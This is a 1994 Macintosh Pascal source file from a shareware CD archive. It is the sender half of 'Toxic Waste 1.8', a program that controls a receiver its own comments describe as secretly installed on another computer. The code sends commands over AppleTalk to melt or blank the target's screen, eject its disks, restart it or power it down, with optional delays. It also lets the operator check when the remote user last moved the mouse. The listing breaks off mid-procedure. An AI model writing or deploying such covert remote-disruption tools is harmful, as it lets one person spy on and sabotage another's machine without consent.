home *** CD-ROM | disk | FTP | other *** search
/ Celestin Apprentice 2 / Apprentice-Release2.iso / Source Code / Pascal / Utilities / Toxic Waste 1.8 / Toxic Send Code / Sender.p < prev    next >
Encoding:
Text File  |  1994-01-08  |  30.8 KB  |  1,311 lines  |  [TEXT/PJMM]

  1. program ToxicSender;
  2.  
  3. {TOXIC WASTE, version 1.8}
  4. {By David Peck: PeckSoftware@his.com}
  5.  
  6. {This program sends messages over a network to a recieving program (secretly installed on}
  7. {the recieving computer) which causes the computer to do... very strange things... }
  8.  
  9.     uses
  10.         Script, AppleEvents, dialogUses;
  11.  
  12. {---Begin PeckEvents Declarations---}
  13.  
  14.     const
  15.         WNE_TRAP_NUM = $60;
  16.         UNIMPLEMENTED_TRAP_NUM = $9F;
  17.         MaxWind = 15;
  18.         MaxMenu = 10;
  19.  
  20.         iSeconds = 1;
  21.         iMinutes = 2;
  22.         iHours = 3;
  23.         iNone = 4;
  24.  
  25.         iMouse = 6;
  26.  
  27.         iCheckUsage = 8;
  28.         iCheckQueue = 9;
  29.  
  30.         iQuit = 11;
  31.  
  32.     var
  33.         gFileMenu, gWasteMenu: menuhandle;
  34.  
  35.     var
  36.         dummy: boolean;
  37.         aRecta: rect;
  38.         windows: array[0..MaxWind] of WindowPtr;
  39.         menus: array[0..MaxMenu] of MenuHandle;
  40.         curNumWindows: integer;
  41.         curNumMenus: integer;
  42.         wantsToQuit: boolean;
  43.         gWNEImplemented: boolean;
  44.         hisApple: MenuHandle;
  45.         currentWindow: integer;
  46.         fstPtr: grafPtr;
  47.  
  48. {-----------COPY THE FOLLOWING ROUTINES AT THE FRONT OF YOUR PROGRAM---------}
  49.  
  50.     procedure peckInit (howMany: integer);
  51.     forward;
  52.     procedure peckQuit;
  53.     forward;
  54.     procedure peckNewWindow (var aWindow: windowPtr);
  55.     forward;
  56.     procedure peckKillWindow (var aWindow: windowPtr);
  57.     forward;
  58.     procedure peckNewMenu (var aMenu: menuHandle; disp: boolean);
  59.     forward;
  60.     procedure peckKillMenu (var aMenu: menuHandle);
  61.     forward;
  62.     procedure peckApple (aboutName: str255);
  63.     forward;
  64.     procedure peckMain;
  65.     forward;
  66.     procedure peckHalt;
  67.     forward;
  68.  
  69. {THE ACTUAL PROGRAM}
  70.  
  71.     const
  72.         sleepyTime = $FFFFFFFF;
  73.         wakeUp = 0;
  74.  
  75.     type
  76.         SessStat = (sessNotBegun, sessOpenPend, sessOpenDone, sessStartPend, sessStartDone, sessWritePend, sessWriteDone, sessRespPend, sessRespDone, sessEndPend, sessEndDone);
  77.         AlertStat = (alertNotSent, alertSent, alertDone);
  78.  
  79.     const
  80. {What kinds of things can you do?}
  81.         MeltScreen = 1;
  82.         BlankScreen = 2;
  83.         InvertScreen = 3;
  84.         RandomIcons = 4;
  85.  
  86.         Beep = 6;
  87.         RandomBeep = 7;
  88.  
  89.         EjectDisks = 9;
  90.         StartEject = 10;
  91.         EndEject = 11;
  92.  
  93.         Restart = 13;
  94.         PowerDown = 14;
  95.  
  96.         Message = 16;
  97.  
  98.     type
  99.  
  100.         delayMethod = (timeDelay, mouseDelay, activeMouseDelay);
  101.  
  102.         ElementInfo = record
  103.                 when: longint;
  104.                 method: delayMethod;
  105.                 what: integer;
  106.                 numTimes: integer;
  107.                 mess: Str255;
  108.             end;
  109.         ElementInfoArray = array[1..6] of ElementInfo;
  110.         QInfo = record
  111.                 num: integer;
  112.                 els: ElementInfoArray;
  113.             end;
  114.  
  115.         DataRecord = record
  116. {Items for a message being SENT by Toxic Sender.}
  117.                 what: integer;            {What I actually want you to do}
  118.                 mess: Str255;
  119.                 numTimes: integer;    {For "Beep" and "Random Icons" message}
  120.                 isDelayed: boolean;    {Is this event a delayed event?}
  121.                 dMethod: delayMethod;    {Method of delaying the event}
  122.                 numSecs: longint;        {If it is delayed, how many seconds long?}
  123.                 usageCheck: boolean;    {TRUE if user wants to know if the Mac is being used}
  124.  
  125. {Items for a message being RECIEVED from Toxic Reciever.}
  126.                 notMovedSince: longint;{How long has it been since the user moved the mouse?}
  127.                 notQ: boolean;                {TRUE if the Toxic Reciever's Queue was full}
  128.                 QCheck: QInfo;                {Returned if user selected usageCheck to view Q data}
  129.                                                             {THIS IS NOT A COMPLETE Q. If it was, there would be}
  130.                                                             {an infinitely recursive data structure...}
  131.             end;
  132.  
  133.         PDataHdl = ^PDataPtr;
  134.         PDataPtr = ^PDataRec;
  135.         PDataRec = record
  136.                 pblock: PPCParamBlockRec;
  137.                 port: PPCPortRec;
  138.                 location: LocationNameRec;
  139.                 user: Str32;
  140.                 portRef: integer;
  141.                 sessionRef: integer;
  142.                 buffer: DataRecord;
  143.                 err: OSErr;
  144.                 errMessage: Str255;
  145.                 sessionStatus: SessStat;
  146.                 alertStatus: AlertStat;
  147.             end;
  148.  
  149.     var
  150.         pdata: PDataPtr;
  151.         pd: PDataPtr;
  152.         g_quit: boolean;
  153.         g_psn: ProcessSerialNumber;
  154.         g_sleepTicks: longint;
  155.         err: OSErr;
  156.         tr: rect;
  157.  
  158.     procedure ______G_____;
  159.     begin
  160.     end;
  161.  
  162.     var
  163. {Globals}
  164.         gNextDelayed: boolean;                {is the next message a delay message}
  165.         gDelayCheck: integer;                {Which delay method? iSeconds, iMinutes, or iHours}
  166.         gNextMouse: boolean;                {True if MOUSE DELAY is checked}
  167.  
  168.         gDelaySecs: longint;                    {how long?}
  169.         gNextUsage: boolean;                {is the next thing just a usage check?}
  170.         gNextQueue: boolean;                {TRUE if it is a QUEUE usage check.}
  171.  
  172.     function AEOpenHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
  173.     begin
  174.         AEOpenHandler := errAEEventNotHandled;
  175.     end;
  176.  
  177.     function AEOpenDocHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
  178.     begin
  179.         AEOpenDocHandler := errAEEventNotHandled;
  180.     end;
  181.  
  182.     function AEQuitHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
  183.         var
  184.             err: OSErr;
  185.     begin
  186.         wantsToQuit := true;
  187.         err := WakeUpProcess(g_PSN);
  188.         AEQuitHandler := noErr;
  189.     end;
  190.  
  191.     function AEPrintHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
  192.     begin
  193.         AEPrintHandler := errAEEventNotHandled;
  194.     end;
  195.  
  196.     procedure InitAEStuff;
  197.         var
  198.             e: OSErr;
  199.     begin
  200.         e := AEInstallEventHandler(kCoreEventClass, kAEOpenApplication, @AEOpenHandler, 0, false);
  201.         e := AEInstallEventHandler(kCoreEventClass, kAEOpenDocuments, @AEOpenDocHandler, 0, false);
  202.         e := AEInstallEventHandler(kCoreEventClass, kAEQuitApplication, @AEQuitHandler, 0, false);
  203.         e := AEInstallEventHandler(kCoreEventClass, kAEPrintDocuments, @AEPrintHandler, 0, false);
  204.     end;
  205.  
  206.     procedure Quit;
  207.         var
  208.             err: OSErr;
  209.             pr: PPCParamBlockPtr;
  210.  
  211.     begin
  212.         pr := PPCParamBlockPtr(pd);
  213.  
  214.         if (pd^.sessionRef <> 0) then
  215.             begin
  216.                 pr^.endParam.ioCompletion := nil;
  217.                 err := PPCEnd(@pr^.endParam, true);
  218.             end;
  219.         if (pd^.portRef <> 0) then
  220.             begin
  221.                 pr^.closeParam.ioCompletion := nil;
  222.                 pr^.closeParam.portRefNum := pd^.portRef;
  223.                 err := PPCClose(@pr^.closeParam, false);
  224.             end;
  225.     end;
  226.  
  227.     procedure StartDone (pb: PPCParamBlockPtr);
  228.     begin
  229.         PDataPtr(pb)^.sessionStatus := sessStartDone;
  230.         PDataPtr(pb)^.err := pb^.startParam.ioResult;
  231. {PDataPtr(pb)^.sessionRef := pb^.startParam.sessRefNum;}
  232.     end;
  233.  
  234.     procedure DoStart (pd: PDataPtr);
  235.         var
  236.             pb: PPCParamBlockPtr;
  237.     begin
  238.         pb := @pd^.pblock;
  239.  
  240.         pb^.startParam.ioCompletion := @StartDone;
  241.         pb^.startParam.portRefNum := pd^.portRef;
  242.         pb^.startParam.serviceType := ppcServiceRealTime;
  243.         pb^.startParam.resFlag := 0;
  244.         pb^.startParam.portName := @pd^.port;
  245.         pb^.startParam.locationName := @pd^.location;
  246.         pb^.startParam.userData := 0;
  247.         pb^.startParam.userRefNum := 0;
  248.  
  249.         pd^.sessionStatus := sessStartPend;
  250.         pd^.err := PPCStart(@pb^.startParam, true);
  251.     end;
  252.  
  253.     procedure WriteDone (pb: PPCParamBlockPtr);
  254.     begin
  255.         PDataPtr(pb)^.sessionStatus := sessWriteDone;
  256.         PDataPtr(pb)^.err := pb^.writeParam.ioResult;
  257.     end;
  258.  
  259.     procedure DoWrite (pd: PDataPtr);
  260.         var
  261.             pb: PPCParamBlockPtr;
  262.     begin
  263.         pb := @pd^.pblock;
  264.  
  265.         pd^.sessionStatus := sessWritePend;
  266.  
  267.         with pb^.writeParam do
  268.             begin
  269.                 ioCompletion := @WriteDone;
  270.                 bufferLength := SizeOf(pd^.buffer);
  271.                 bufferPtr := @pd^.buffer;
  272.                 more := false;
  273.                 userData := 0;
  274.                 blockCreator := 'BIOZ';
  275.                 blockType := 'INFO';
  276.             end;
  277.  
  278.         PDataPtr(pb)^.err := PPCWrite(PPCWritePBPtr(pb), true);
  279.     end;
  280.  
  281.     function PortFilter (loc: LocationNamePtr; port: PortInfoPtr): boolean;
  282.     begin
  283.         PortFilter := (port^.name.portType = 'RECV');
  284.     end;
  285.  
  286.     procedure SendAlert (pd: PDataPtr; choice, num: integer; m: Str255);
  287.         var
  288.             pb: PPCParamBlockPtr;
  289.             err: OSErr;
  290.             dPort: PortInfoRec;
  291.             dLoc: LocationNameRec;
  292.             tempStr: Str255;
  293.     begin
  294.         pb := @pd^.pblock;
  295.  
  296.         dPort.name.nameScript := smRoman;
  297.         dPort.name.name := 'Message Reciever';
  298.         dPort.name.portKindSelector := ppcByCreatorAndType;
  299.         dPort.name.portCreator := 'CHAT';
  300.         dPort.name.portType := 'RECV';
  301.         dLoc.locationKindSelector := ppcNoLocation;
  302.         err := PPCBrowser('Choose a chatter box:', 'Chatter Boxes:', true, dloc, dport, @PortFilter, '');
  303.  
  304.         if err = noErr then
  305.             begin
  306.                 pd^.port := dPort.name;
  307.                 pd^.location := dLoc;
  308.  
  309.                 pd^.buffer.what := choice;
  310.                 pd^.buffer.mess := m;
  311.                 pd^.buffer.numTimes := num;
  312.                 pd^.buffer.numSecs := gDelaySecs;
  313.                 pd^.buffer.usageCheck := gNextUsage;
  314.                 pd^.buffer.isDelayed := gNextDelayed;
  315.                 if gNextMouse then
  316.                     pd^.buffer.dMethod := mouseDelay
  317.                 else
  318.                     pd^.buffer.dMethod := timeDelay;
  319.  
  320.                 DoStart(pd);
  321.             end;
  322.     end;
  323.  
  324.     procedure EndDone (pb: PPCParamBlockPtr);
  325.     begin
  326.         PDataPtr(pb)^.sessionStatus := sessEndDone;
  327.     end;
  328.  
  329.     procedure DoEnd (pd: PDataPtr);
  330.         var
  331.             pb: PPCParamBlockPtr;
  332.             err: OSErr;
  333.     begin
  334.         pb := @pd^.pblock;
  335.  
  336.         pd^.sessionStatus := sessEndPend;
  337.         pb^.endParam.ioCompletion := @EndDone;
  338.  
  339.         err := PPCEnd(PPCEndPBPtr(pb), true);
  340.     end;
  341.  
  342.     function stringOfInteger (anInteger: integer; leadingZeros: boolean): str255;
  343.         var
  344.             ones, tens, hundreds, thousands, tenthousands: char;
  345.             result: integer;
  346.             where: integer;
  347.             alReady: boolean;
  348.             soi: str255;
  349.     begin
  350.         soi := '     ';
  351.         if abs(anInteger) > 9999 then
  352.             tenThousands := char((abs(anInteger) div 10000) + 48)
  353.         else
  354.             tenThousands := '0';
  355.         result := abs(anInteger) mod 10000;
  356.         if abs(anInteger) > 999 then
  357.             thousands := char((result div 1000) + 48)
  358.         else
  359.             thousands := '0';
  360.         result := result mod 1000;
  361.         if abs(anInteger) > 99 then
  362.             hundreds := char((result div 100) + 48)
  363.         else
  364.             hundreds := '0';
  365.         result := result mod 100;
  366.         if abs(anInteger) > 9 then
  367.             tens := char((result div 10) + 48)
  368.         else
  369.             tens := '0';
  370.         ones := char((result mod 10) + 48);
  371.         alReady := false;
  372.         where := 1;
  373.         soi := '';
  374.         if anInteger < 0 then
  375.             soi := concat(soi, '-');
  376.         if ((not leadingZeros) and (tenThousands <> '0')) or (leadingZeros) then
  377.             begin
  378.                 soi := concat(soi, tenThousands);
  379.                 alReady := true;
  380.             end;
  381.         if ((not leadingZeros) and (thousands <> '0')) or (leadingZeros) or alReady then
  382.             begin
  383.                 soi := concat(soi, thousands);
  384.                 alReady := true;
  385.             end;
  386.         if ((not leadingZeros) and (hundreds <> '0')) or (leadingZeros) or alReady then
  387.             begin
  388.                 soi := concat(soi, hundreds);
  389.                 alReady := true;
  390.             end;
  391.         if ((not leadingZeros) and (tens <> '0')) or (leadingZeros) or alReady then
  392.             soi := concat(soi, tens);
  393.         soi := concat(soi, ones);
  394.         stringOfInteger := soi;
  395.     end;
  396.  
  397.     procedure WriteMethod (m: delayMethod);
  398.     begin
  399.         if m = timeDelay then
  400.             write('     Time Delay')
  401.         else if m = mouseDelay then
  402.             write('     Mouse Delay')
  403.         else
  404.             write('     Active Mouse Delay');
  405.     end;
  406.  
  407.     procedure ResponseDone (pb: PPCParamBlockPtr);        {Done}
  408.         var
  409.             as, tstr: Str255;
  410.             count: integer;
  411.     begin
  412.         PDataPtr(pb)^.sessionStatus := sessRespDone;
  413.  
  414.         if gNextDelayed then
  415.             if pd^.buffer.notQ then
  416.                 begin
  417.                     ParamText('Too Many Queue Elements!', '', '', '');
  418.                     StandardDialogDo(128);
  419.                 end;
  420.  
  421.         if gNextQueue then
  422.             begin
  423.                 ShowText;
  424.                 writeln('Current Queue Status:');
  425.                 writeln;
  426.                 for count := 1 to pd^.buffer.QCheck.num do
  427.                     begin
  428.                         IUTimeString(pd^.buffer.QCheck.els[count].when, true, tstr);
  429.                         case pd^.buffer.QCheck.els[count].what of
  430.                             Message: 
  431.                                 begin
  432.                                     write('Message            ');
  433.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  434.                                     writeln;
  435.                                     writeln('      ', tstr);
  436.                                 end;
  437.                             MeltScreen: 
  438.                                 begin
  439.                                     write('Melt Screen            ');
  440.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  441.                                     writeln;
  442.                                     writeln('      ', tstr);
  443.                                 end;
  444.                             BlankScreen: 
  445.                                 begin
  446.                                     write('Blank Screen            ');
  447.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  448.                                     writeln;
  449.                                     writeln('      ', tstr);
  450.                                 end;
  451.                             InvertScreen: 
  452.                                 begin
  453.                                     write('Invert Screen            ');
  454.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  455.                                     writeln;
  456.                                     writeln('      ', tstr);
  457.                                 end;
  458.                             RandomIcons: 
  459.                                 begin
  460.                                     write('Random Icons    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
  461.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  462.                                     writeln;
  463.                                     writeln('      ', tstr);
  464.                                 end;
  465.  
  466.                             Beep: 
  467.                                 begin
  468.                                     write('Beep    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
  469.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  470.                                     writeln;
  471.                                     writeln('      ', tstr);
  472.                                 end;
  473.                             RandomBeep: 
  474.                                 begin
  475.                                     write('Random Beep    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
  476.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  477.                                     writeln;
  478.                                     writeln('      ', tstr);
  479.                                 end;
  480.  
  481.                             EjectDisks: 
  482.                                 begin
  483.                                     write('Eject Disks            ');
  484.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  485.                                     writeln;
  486.                                     writeln('      ', tstr);
  487.                                 end;
  488.                             StartEject: 
  489.                                 begin
  490.                                     write('Start Ejects            ');
  491.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  492.                                     writeln;
  493.                                     writeln('      ', tstr);
  494.                                 end;
  495.                             EndEject: 
  496.                                 begin
  497.                                     write('End Ejects            ');
  498.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  499.                                     writeln;
  500.                                     writeln('      ', tstr);
  501.                                 end;
  502.  
  503.                             Restart: 
  504.                                 begin
  505.                                     write('Restart            ');
  506.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  507.                                     writeln;
  508.                                     writeln('      ', tstr);
  509.                                 end;
  510.                             PowerDown: 
  511.                                 begin
  512.                                     write('Power Down            ');
  513.                                     WriteMethod(pd^.buffer.QCheck.els[count].method);
  514.                                     writeln;
  515.                                     writeln('      ', tstr);
  516.                                 end;
  517.                         end;    {case}
  518.                     end;    {for}
  519.  
  520.                 while not button do
  521.                     ;
  522.                 HideAll;
  523.  
  524.                 gNextQueue := false;
  525.                 gNextUsage := false;
  526.             end;
  527.  
  528.         if gNextUsage then
  529.             begin
  530.                 as := Concat('Mouse was moved this many seconds ago: ', StringOfInteger(pd^.buffer.notMovedSince, false));
  531.                 ParamText(as, '', '', '');
  532.                 StandardDialogDo(128);
  533.                 gNextUsage := false;
  534.             end;
  535.  
  536.         PDataPtr(pb)^.err := pb^.readParam.ioResult;
  537.     end;
  538.  
  539.     procedure DoResponse (pd: PDataPtr);        {Done}
  540.         var
  541.             pb: PPCParamBlockPtr;
  542.     begin
  543.         pb := @pd^.pblock;
  544.  
  545.         pd^.sessionStatus := sessRespPend;
  546.  
  547.         pb^.readParam.ioCompletion := @ResponseDone;
  548.         pb^.readParam.bufferLength := SizeOf(pd^.buffer);
  549.         pb^.readParam.bufferPtr := @pd^.buffer;
  550.  
  551.         pd^.err := PPCRead(PPCReadPBPtr(pb), true);
  552.     end;
  553.  
  554.     procedure DoAlert (pd: PDataPtr);
  555.         var
  556.             pb: PPCParamBlockPtr;
  557.             err: OSErr;
  558.             str: Ptr;
  559.     begin
  560.         pb := @pd^.pBlock;
  561.  
  562.         writeln(pb^.readParam.bufferPtr^);
  563.         pd^.alertStatus := alertSent;
  564.     end;
  565.  
  566.     procedure OpenDone (pb: PPCParamBlockPtr);
  567.     begin
  568.         PDataPtr(pb)^.sessionStatus := sessOpenDone;
  569.         PDataPtr(pb)^.err := pb^.openParam.ioResult;
  570.         PDataPtr(pb)^.portRef := PDataPtr(pb)^.pBlock.openParam.portRefNum;
  571.     end;
  572.  
  573.     procedure DoOpen (pd: PDataPtr);        {Done}
  574.         var
  575.             pb: PPCParamBlockPtr;
  576.     begin
  577.         pb := @pd^.pBlock;
  578.  
  579.         pd^.port.nameScript := smRoman;
  580.         pd^.port.name := 'Message Sender';
  581.         pd^.port.portKindSelector := ppcByCreatorAndType;
  582.         pd^.port.portCreator := 'BIOZ';
  583.         pd^.port.portType := 'BIOZ';
  584.  
  585.         pd^.location.locationKindSelector := ppcNBPTypeLocation;
  586.         pd^.location.nbpType := 'Message Sender';
  587.  
  588.         pb^.openParam.ioCompletion := @OpenDone;
  589.         pb^.openParam.serviceType := ppcServiceRealTime;
  590.         pb^.openParam.resFlag := 0;
  591.         pb^.openParam.portName := @pd^.port;
  592.         pb^.openParam.locationName := @pd^.location;
  593.         pb^.openParam.networkVisible := true;
  594.  
  595.         pd^.sessionStatus := sessOpenPend;
  596.         pd^.err := PPCOpen(@pb^.openParam, true);
  597.     end;
  598.  
  599.     procedure InitPData (var pd: PDataPtr);
  600.     begin
  601.         pd := PDataPtr(NewPtrClear(sizeOf(PDataRec)));
  602.         pd^.user := '';
  603.         pd^.portRef := 0;
  604.         pd^.sessionRef := 0;
  605.         pd^.buffer.numTimes := 0;
  606.         pd^.buffer.what := 0;
  607.         pd^.err := noErr;
  608.         pd^.errMessage := '';
  609.         pd^.sessionStatus := sessNotBegun;
  610.         pd^.alertStatus := alertNotSent;
  611.     end;
  612.  
  613. {-------------------MAIN EVENT DOING CODE GOES HERE-------------------------}
  614.  
  615.     function integerOfString (theS: str255): integer;
  616.         var
  617.             count: integer;
  618.             tempInt: integer;
  619.             ml: integer;
  620.             start: integer;
  621.     begin
  622.         ml := length(theS);
  623.         if ml > 5 then
  624.             ml := 5;
  625.         integerOfString := 0;
  626.         tempInt := 0;
  627.         if theS[1] = '-' then
  628.             start := 2
  629.         else
  630.             start := 1;
  631.         for count := start to ml do
  632.             begin
  633.                 if theS[count] <> ' ' then
  634.                     begin
  635.                         tempInt := tempInt * 10;
  636.                         tempInt := tempInt + (ord(theS[count]) - 48);
  637.                     end;
  638.             end;
  639.         if theS[1] = '-' then
  640.             tempInt := -tempInt;
  641.         integerOfString := tempInt;
  642.     end;
  643.  
  644.     procedure GetTimes (what: integer; var times: integer);
  645.         var
  646.             tDlog: DialogPtr;
  647.             itemHit: integer;
  648.             item: Handle;
  649.             a: integer;
  650.             b: rect;
  651.             tlText: str255;
  652.     begin
  653.         if what = Beep then
  654.             ParamText('How many beeps?', '', '', '')
  655.         else if what = RandomIcons then
  656.             ParamText('How many icons?', '', '', '')
  657.         else
  658.             ParamText('How many random beeps?', '', '', '');
  659.  
  660.         tDlog := GetNewDialog(129, nil, WindowPtr(-1));
  661.         ShowWindow(tDlog);
  662.         SetPort(tDlog);
  663.  
  664.         SelIText(tDlog, 2, 0, MAXINT);
  665.  
  666.         repeat
  667.             ModalDialog(nil, itemHit);
  668.         until itemHit = 1;
  669.  
  670.         GetDItem(tDlog, 2, a, item, b);
  671.         GetIText(item, tlText);
  672.         if length(tlText) < 5 then
  673.             times := IntegerOfString(tlText);
  674.  
  675.         DisposDialog(tDlog);
  676.     end;
  677.  
  678.     procedure GetMessage (var m: Str255);
  679.         var
  680.             tDlog: DialogPtr;
  681.             itemHit: integer;
  682.             item: Handle;
  683.             a: integer;
  684.             b: rect;
  685.             tlText: str255;
  686.     begin
  687.         tDlog := GetNewDialog(130, nil, WindowPtr(-1));
  688.         ShowWindow(tDlog);
  689.         SetPort(tDlog);
  690.  
  691.         SelIText(tDlog, 2, 0, MAXINT);
  692.  
  693.         repeat
  694.             ModalDialog(nil, itemHit);
  695.         until itemHit = 1;
  696.  
  697.         GetDItem(tDlog, 2, a, item, b);
  698.         GetIText(item, m);
  699.  
  700.         DisposDialog(tDlog);
  701.     end;
  702.  
  703.     procedure Seconds;
  704.         var
  705.             tDlog: DialogPtr;
  706.             itemHit: integer;
  707.             item: Handle;
  708.             a: integer;
  709.             b: rect;
  710.             tlText: str255;
  711.             times: integer;
  712.     begin
  713.         gNextDelayed := true;
  714.         ParamText('How many seconds delay?', '', '', '');
  715.         tDlog := GetNewDialog(129, nil, WindowPtr(-1));
  716.         ShowWindow(tDlog);
  717.         SetPort(tDlog);
  718.  
  719.         SelIText(tDlog, 2, 0, MAXINT);
  720.  
  721.         repeat
  722.             ModalDialog(nil, itemHit);
  723.         until itemHit = 1;
  724.  
  725.         GetDItem(tDlog, 2, a, item, b);
  726.         GetIText(item, tlText);
  727.         if length(tlText) < 5 then
  728.             times := IntegerOfString(tlText);
  729.  
  730.         gDelaySecs := longint(times);
  731.  
  732.         DisposDialog(tDlog);
  733.     end;
  734.  
  735.     procedure Minutes;
  736.         var
  737.             tDlog: DialogPtr;
  738.             itemHit: integer;
  739.             item: Handle;
  740.             a: integer;
  741.             b: rect;
  742.             tlText: str255;
  743.             times: integer;
  744.     begin
  745.         gNextDelayed := true;
  746.         ParamText('How many minutes delay?', '', '', '');
  747.         tDlog := GetNewDialog(129, nil, WindowPtr(-1));
  748.         ShowWindow(tDlog);
  749.         SetPort(tDlog);
  750.  
  751.         SelIText(tDlog, 2, 0, MAXINT);
  752.  
  753.         repeat
  754.             ModalDialog(nil, itemHit);
  755.         until itemHit = 1;
  756.  
  757.         GetDItem(tDlog, 2, a, item, b);
  758.         GetIText(item, tlText);
  759.         if length(tlText) < 5 then
  760.             times := IntegerOfString(tlText);
  761.  
  762.         gDelaySecs := longint(times * 60);
  763.  
  764.         DisposDialog(tDlog);
  765.     end;
  766.  
  767.     procedure Hours;
  768.         var
  769.             tDlog: DialogPtr;
  770.             itemHit: integer;
  771.             item: Handle;
  772.             a: integer;
  773.             b: rect;
  774.             tlText: str255;
  775.             times: integer;
  776.     begin
  777.         gNextDelayed := true;
  778.         ParamText('How many hours delay?', '', '', '');
  779.         tDlog := GetNewDialog(129, nil, WindowPtr(-1));
  780.         ShowWindow(tDlog);
  781.         SetPort(tDlog);
  782.  
  783.         SelIText(tDlog, 2, 0, MAXINT);
  784.  
  785.         repeat
  786.             ModalDialog(nil, itemHit);
  787.         until itemHit = 1;
  788.  
  789.         GetDItem(tDlog, 2, a, item, b);
  790.         GetIText(item, tlText);
  791.         if length(tlText) < 5 then
  792.             times := IntegerOfString(tlText);
  793.  
  794.         gDelaySecs := longint(times * 60 * 60);
  795.  
  796.         DisposDialog(tDlog);
  797.     end;
  798.  
  799.     procedure UsageCheck;
  800.     begin
  801.         if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  802.             begin
  803.                 gNextUsage := true;
  804.                 SendAlert(pd, 1, 1, '');
  805.             end
  806.         else
  807.             SysBeep(10);             {Not ready to send messages yet...}
  808.     end;
  809.  
  810.     procedure UpdateMenus;
  811.         var
  812.             cnt: integer;
  813.     begin
  814.         for cnt := 1 to 4 do
  815.             CheckItem(gFileMenu, cnt, false);
  816.         if gNextDelayed then
  817.             CheckItem(gFileMenu, gDelayCheck, true)
  818.         else
  819.             CheckItem(gFileMenu, iNone, true);
  820.         CheckItem(gFileMenu, iMouse, gNextMouse);
  821.     end;
  822.  
  823.     procedure QueueCheck;
  824.     begin
  825.         if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  826.             begin
  827.                 gNextUsage := true;
  828.                 gNextQueue := true;
  829.                 SendAlert(pd, 1, 1, '');
  830.             end
  831.         else
  832.             SysBeep(10);             {Not ready to send messages yet...}
  833.     end;
  834.  
  835.     procedure doEveryTime;
  836.     begin
  837.         if pd^.sessionStatus = sessStartDone then
  838.             DoWrite(pd)
  839.         else if pd^.sessionStatus = sessWriteDone then
  840.             DoResponse(pd)
  841.         else if pd^.sessionStatus = sessRespDone then
  842.             DoEnd(pd);
  843.     end;
  844.  
  845.     procedure doMenu (theMenu: menuHandle; theItem: integer);
  846.         var
  847.             times: integer;
  848.             theMessage: Str255;
  849.     begin
  850.         if theMenu = gFileMenu then
  851.             case theItem of
  852.                 iSeconds: 
  853.                     if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  854.                         begin
  855.                             Seconds;
  856.                             gDelayCheck := theItem;
  857.                         end;
  858.                 iMinutes: 
  859.                     if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  860.                         begin
  861.                             Minutes;
  862.                             gDelayCheck := theItem;
  863.                         end;
  864.                 iHours: 
  865.                     if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  866.                         begin
  867.                             Hours;
  868.                             gDelayCheck := theItem;
  869.                         end;
  870.                 iNone: 
  871.                     if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  872.                         gNextDelayed := false;
  873.  
  874.                 iMouse: 
  875.                     if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  876.                         gNextMouse := not gNextMouse;
  877.  
  878.                 iCheckUsage: 
  879.                     UsageCheck;
  880.                 iCheckQueue: 
  881.                     QueueCheck;
  882.  
  883.                 iQuit: 
  884.                     PeckQuit;
  885.             end
  886.         else if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
  887.             begin
  888.                 if (theItem = beep) or (theItem = randomicons) or (theItem = randombeep) then
  889.                     GetTimes(theItem, times);
  890.                 if (theItem = Message) then
  891.                     GetMessage(theMessage);
  892.                 SendAlert(pd, theItem, times, theMessage);
  893.             end
  894.         else
  895.             SysBeep(10);            {Not ready to do anything yet...}
  896.     end;
  897.  
  898.     procedure doMouseDown (theWindow: windowPtr; where: point; when: longint; mods: integer);
  899.     begin
  900.     end;
  901.  
  902.     procedure doKeyDown (theWindow: windowPtr; theKey: char; mods: integer);
  903.     begin
  904.     end;
  905.  
  906.     procedure doCloseWindow (theWindow: windowPtr);
  907.     begin
  908.     end;
  909.  
  910.     procedure doAbout;
  911.     begin
  912.         ParamText('Super Typer, Version 1.7.                By David Peck:             PeckSoftware@his.com', '', '', '');
  913.         StandardDialogDo(128);
  914.     end;
  915.  
  916.     procedure doUpdate (theWindow: windowPtr; resized: boolean);
  917.     begin
  918.     end;
  919.  
  920.     procedure doIdle (theWindow: windowPtr);
  921.     begin
  922.     end;
  923.  
  924.     procedure doKillMenu (theMenu: menuHandle);
  925.     begin
  926.     end;
  927.  
  928.     procedure doActivate (theWindow: windowPtr);
  929.     begin
  930.     end;
  931.  
  932. {------------------------- Peck Event Main Routines -------------------------------}
  933.  
  934.     procedure peckInit (howMany: integer);
  935.         var
  936.             counter: integer;
  937.     begin
  938.         for counter := 1 to howMany do                        {Get enough pointer/heap memory}
  939.             moreMasters;
  940.         getPort(fstPtr);
  941.         curNumWindows := 0;                                    {Initalize These Variables}
  942.         curNumMenus := 0;
  943.         wantsToQuit := false;
  944.         currentWindow := 0;
  945.         for counter := 0 to MaxWind do                                {Clear window array}
  946.             windows[counter] := nil;
  947.         for counter := 0 to MaxMenu do                                {Clear menu array}
  948.             menus[counter] := nil;
  949.         initCursor;                                                {Arrow Cursor}
  950.     end;
  951.  
  952.     procedure peckQuit;
  953.     begin
